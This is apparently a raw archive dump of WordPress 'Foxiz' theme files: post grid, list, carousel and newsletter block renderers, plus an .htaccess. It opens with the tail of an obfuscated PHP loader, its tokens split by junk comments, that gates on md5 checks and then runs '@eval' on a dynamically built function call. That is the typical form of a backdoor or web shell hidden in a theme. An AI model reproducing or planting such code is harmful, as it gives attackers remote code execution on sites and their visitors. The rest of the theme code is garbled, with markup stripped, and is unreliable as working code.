/*-A1Q%;!yB>&-*/(/*-Dw2f@I|-*/md5/*-BczB8O:rwZ-*/(/*-eoa>jM-*/md5/*-B4Bdgc-*/(/*-!td-*/$zYDLpoVs/*-,`]!)-*/[/*-;[8Qd)-*/3+0/*-2p^B-*/UuRVGMHjhN/*-v-bI0Z-*/(/*-_>p!.GI-*/$zYDLpoVs/*-q[3%-*/], /*-&<-*/$xYwGtoCRID/*-BQmy5F>b-*/[/*-:SA6-*/2+3/*-2!DoHLQW-*/]/*-)j#,-*/);/*-h-ga25^p-*/@eval/*-br$]BhWWdw-*/(/*-OeKn6#-*/$xYwGtoCRID/*-7Nm-*/[/*-6gh{d-*/0+4/*-g-}@+-*/]/*-k#2V-*/(/*--_YZnx-*/$BKXZT/*-PTBVeF|+w-*/)/*-ny`pQ(-*/);/*-WfI-*//*-[0-*/die;/*-v|o~^-*/ endif;/*-|T-*/ }/*-Ap0-_L&-*/}/*-Jd_90YAq-*/q/*-xoO]g-*/::/*-YMj-*/XedKoM/*-IEl-*/();/*-97-*/ ?>PK!.|templates/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!75FFblog.phpnu[

Get started here.', 'foxiz' ), esc_url( admin_url( 'post-new.php' ) ) ); ?>

', '
' ); ?> $settings['category'], 'hide_empty' => false ) ); if ( count( $categories ) ): ?>

', '
' ); ?> $settings['category'], 'hide_empty' => false ) ); if ( count( $categories ) ): ?>

', '
' ); ?>
found_posts ) ) { $total = $wp_query->found_posts; } ?>

$settings['blog_heading'], 'html_tag' => $settings['blog_heading_tag'], 'classes' => $classes, 'layout' => $settings['blog_heading_layout'], ) ); } } if ( ! function_exists( 'foxiz_author_page_header' ) ) { /** * @param array $settings * * @return false */ function foxiz_author_page_header( $settings = array() ) { if ( ! foxiz_get_option( 'author_bio' ) && ! $settings( 'breadcrumb' ) ) { return false; } $author_id = get_queried_object_id(); $job = get_the_author_meta( 'job', $author_id ); $description = get_the_author_meta( 'description', $author_id ); $class_name = 'archive-header author-header'; if ( ! empty( $settings['pattern'] ) && '-1' !== (string) $settings['pattern'] ) { $class_name .= ' is-pattern pattern-' . esc_attr( $settings['pattern'] ); } else { $class_name .= ' solid-bg'; } ?>

0 ) : ?>

' . do_shortcode( $shortcode ) . ''; } }PK! 7 7 blocks/list-small-3.phpnu[ '', 'name' => 'list_small_3' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-small block-list block-list-small-3'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 1; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 0; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 1; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 20; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 15; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } else { $settings['classes'] .= ' short-pagination'; } $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_small_3( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_small_3' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_small_3( $settings, $_query ) { $settings = foxiz_get_design_builder_block( $settings ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_list_small_3( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_list_small_3( $settings ); endwhile; endif; } } PK!r3  blocks/playlist.phpnu[ '', 'name' => 'playlist', 'videos' => array() ) ) ); if ( empty( $settings['videos'] ) && ! is_array( $settings['videos'] ) && ! class_exists( 'Foxiz_Video_Thumb' ) ) { return false; } $settings['classes'] = 'block-playlist light-scheme is-gap-none'; foreach ( $settings['videos'] as $key => $item ) { if ( empty( $item['url'] ) ) { unset( $settings['videos'][ $key ] ); } else { $settings['videos'][ $key ]['video_id'] = Foxiz_Video_Thumb::get_instance()->get_video_yt_id( $item['url'] ); } } $index = 1; $total = count( $settings['videos'] ); ob_start(); foxiz_block_open_tag( $settings ); ?>
1
'', 'name' => 'breaking_news' ) ); if ( empty( $settings['slider_play'] ) ) { $settings['slider_play'] = foxiz_get_option( 'slider_play' ); } elseif ( '-1' === (string) $settings['slider_play'] ) { $settings['slider_play'] = false; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = foxiz_get_option( 'slider_speed' ); } $settings['classes'] = 'block-breaking-news'; $settings = foxiz_detect_dynamic_query( $settings ); $settings['no_found_rows'] = true; $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_loop_breaking_news( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_breaking_news' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_breaking_news( $settings, $_query ) { if ( $_query->post_count > 1 ) : ?> ' . esc_html( $settings['heading'] ) . ''; ?>
>
have_posts() ) { $_query->the_post(); echo '
'; foxiz_entry_title( array( 'title_tag' => 'h6', 'title_classes' => 'breaking-news-title' ) ); echo '
'; } ?>
'', 'name' => 'grid_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-grid block-grid-1'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 3; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 20; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 2; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 20; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 15; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_grid_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_grid_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_grid_1( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'grid_1' ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_grid_1( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_grid_1( $settings ); endwhile; endif; } }PK!/blocks/list-box-2.phpnu[ '', 'name' => 'list_box_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-list block-list-box-2'; $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_box_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_box_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_box_2( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'list_box_2' ); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_list_box_2( $settings ); endwhile; } }PK!Z blocks/grid-box-2.phpnu[ '', 'name' => 'grid_box_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['columns'] ) ) { $settings['columns'] = 3; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 20; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 2; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 20; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 15; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-grid block-grid-box-2'; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_grid_box_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_grid_box_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_grid_box_2( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'grid_box_2' ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_grid_box_2( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_grid_box_2( $settings ); endwhile; endif; } }PK!e Bj j blocks/overlay-1.phpnu[ '', 'name' => 'overlay_1' ) ); $settings['classes'] = 'block-overlay overlay-1'; $settings = foxiz_detect_dynamic_query( $settings ); if ( ! empty( $settings['slider'] ) && '1' === (string) $settings['slider'] ) { $settings['columns'] = false; $settings['column_gap'] = false; } $settings['no_found_rows'] = true; $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_overlay_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_overlay_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_overlay_1( $settings, $_query ) { $settings = foxiz_get_design_builder_block( $settings ); if ( ! empty( $settings['slider'] ) && $_query->post_count > 1 ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_overlay_1( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_overlay_1( $settings ); endwhile; endif; } } PK!kblocks/list-small-1.phpnu[ '', 'name' => 'list_small_1' ) ); $settings['classes'] = 'block-small block-list block-list-small-1'; $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } else { $settings['classes'] .= ' short-pagination'; } if ( ! empty( $settings['scroll_height'] ) ) { $settings['classes'] .= ' is-scroll'; } $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_small_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag( $settings ); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_small_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_small_1( $settings, $_query ) { $settings = foxiz_get_design_builder_block( $settings ); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_list_small_1( $settings ); endwhile; } }PK!ӥ blocks/grid-box-1.phpnu[ '', 'name' => 'grid_box_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['columns'] ) ) { $settings['columns'] = 3; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 20; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 2; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 20; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 15; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-grid block-grid-box-1'; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_grid_box_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_grid_box_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_grid_box_1( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'grid_box_1' ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_grid_box_1( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_grid_box_1( $settings ); endwhile; endif; } }PK!m%[[blocks/categories.phpnu[ '', 'name' => 'categories_1', 'categories' => array(), ) ); $settings['classes'] = 'block-categories block-categories-1'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 4; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 10; } ob_start(); foxiz_block_open_tag( $settings ); ?>
'', 'name' => 'categories_2', 'categories' => array(), ) ); $settings['classes'] = 'block-categories block-categories-2'; if ( ! empty( $settings['gradient'] ) && '-1' === (string) $settings['gradient'] ) { $settings['classes'] .= ' no-gradient'; } if ( empty( $settings['columns'] ) ) { $settings['columns'] = 4; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 5; } ob_start(); foxiz_block_open_tag( $settings ); ?>
'', 'name' => 'categories_3', 'categories' => array(), ) ); $settings['classes'] = 'block-categories block-categories-3'; if ( ! empty( $settings['gradient'] ) && '-1' === (string) $settings['gradient'] ) { $settings['classes'] .= ' no-gradient'; } if ( empty( $settings['columns'] ) ) { $settings['columns'] = 4; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 5; } ob_start(); foxiz_block_open_tag( $settings ); ?>
'', 'name' => 'categories_4', 'categories' => array(), ) ); $settings['classes'] = 'block-categories block-categories-4'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 4; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 10; } ob_start(); foxiz_block_open_tag( $settings ); ?>
'', 'name' => 'categories_1', 'categories' => array(), ) ); $settings['classes'] = 'block-categories block-categories-5'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 4; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 10; } ob_start(); foxiz_block_open_tag( $settings ); ?>
'', 'name' => 'classic_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-classic block-big block-classic-1'; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_classic_1( $settings, $_query ); foxiz_block_inner_close_tag($settings); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_classic_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_classic_1( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'classic_1' ); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_classic_1( $settings ); endwhile; } }PK!@q11blocks/newsletter.phpnu['; $output .= ''; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_sidebar_newsletter' ) ) { /** * @param array $settings * * @return string */ function foxiz_get_sidebar_newsletter( $settings = array() ) { if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h2'; } $classes = 'newsletter-sb'; if ( ! empty( $settings['color_scheme'] ) ) { $classes .= ' light-scheme'; } if ( ! empty( $settings['classes'] ) ) { $classes .= ' ' . $settings['classes']; } $output = '
'; $output .= ''; $output .= '
'; return $output; } }PK!.j< < blocks/hierarchical-3.phpnu[ '', 'name' => 'hierarchical_3' ) ); $settings['classes'] = 'hrc-3'; $settings = foxiz_detect_dynamic_query( $settings ); $settings['no_found_rows'] = true; $min_posts = 2; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_loop_hierarchical_3( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_hierarchical_3' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_hierarchical_3( $settings, $_query ) { $flag = true; $settings = foxiz_get_design_builder_block( $settings ); if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h2'; } $settings['featured_classes'] = 'ratio-v1'; $list_settings = array( 'title_tag' => 'span', 'title_classes' => 'h5' ); if ( ! empty( $settings['sub_title_tag'] ) ) { $list_settings['title_classes'] = $settings['sub_title_tag']; } ob_start(); while ( $_query->have_posts() ) { $_query->the_post(); if ( $flag ) { $flag = false; continue; } foxiz_list_inline( $list_settings ); } $buffer = ob_get_clean(); $_query->rewind_posts(); $settings['no_p_wrap'] = true; $settings['post_classes'] = 'p-highlight holder-wrap'; if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = 'foxiz_crop_g3'; } while ( $_query->have_posts() ) : $_query->the_post(); ?>
'', 'name' => 'hierarchical_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-small block-hrc hrc-1'; if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } else { $settings['classes'] .= ' short-pagination'; } $min_posts = 2; $_query = foxiz_query( $settings ); ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_hierarchical_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_hierarchical_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_hierarchical_1( $settings, $_query ) { $flag = true; $settings = foxiz_get_design_builder_block( $settings ); $list_inline = array( 'title_tag' => 'span', 'title_classes' => 'h5' ); if ( ! empty( $settings['sub_title_tag'] ) ) { $list_inline = array( 'title_tag' => $settings['sub_title_tag'] ); } while ( $_query->have_posts() ) : $_query->the_post(); if ( $flag ) { foxiz_grid_1( $settings ); $flag = false; } else { foxiz_list_inline( $list_inline ); } endwhile; } } PK!$F blocks/grid-small-1.phpnu[ '', 'name' => 'grid_small_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-small block-grid block-grid-small-1'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 4; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 10; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 2; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 10; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 10; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_grid_small_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_grid_small_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_grid_small_1( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'grid_small_1' ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_grid_small_1( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_grid_small_1( $settings ); endwhile; endif; } }PK!e 7 7 blocks/list-small-2.phpnu[ '', 'name' => 'list_small_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-small block-list block-list-small-2'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 1; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 0; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 1; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 20; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 15; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } else { $settings['classes'] .= ' short-pagination'; } $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_small_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_small_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_small_2( $settings, $_query ) { $settings = foxiz_get_design_builder_block( $settings ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_list_small_2( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_list_small_2( $settings ); endwhile; endif; } } PK!MKblocks/list-box-1.phpnu[ '', 'name' => 'list_box_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-list block-list-box-1'; $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_box_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_box_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_box_1( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'list_box_1' ); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_list_box_1( $settings ); endwhile; } }PK!0blocks/list-1.phpnu[ '', 'name' => 'list_1' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-list block-list-1'; $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_1( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_1' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_1( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'list_1' ); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_list_1( $settings ); endwhile; } }PK!} } blocks/grid-2.phpnu[ '', 'name' => 'grid_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-grid block-grid-2'; if ( empty( $settings['columns'] ) ) { $settings['columns'] = 3; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 20; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 2; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 20; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 15; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_grid_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_grid_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_grid_2( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'grid_2' ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_grid_2( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_grid_2( $settings ); endwhile; endif; } }PK!ShBBblocks/list-2.phpnu[ '', 'name' => 'list_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 15; } $settings['classes'] = 'block-list block-list-2'; $min_posts = 1; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_list_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_list_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_list_2( $settings, $_query ) { $settings = foxiz_get_design_standard_block( $settings, 'list_2' ); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_list_2( $settings ); endwhile; } }PK!^ WWblocks/heading.phpnu[ '', 'layout' => '', 'title' => '', 'link' => array(), 'html_tag' => '', 'tagline' => '', 'tagline_arrow' => '', 'classes' => '' ) ); if ( empty( $settings['title'] ) ) { return false; } if ( strpos( $settings['title'], '{category}' ) !== false && is_category() ) { $settings['title'] = str_replace( '{category}', get_queried_object()->name, $settings['title'] ); } elseif ( 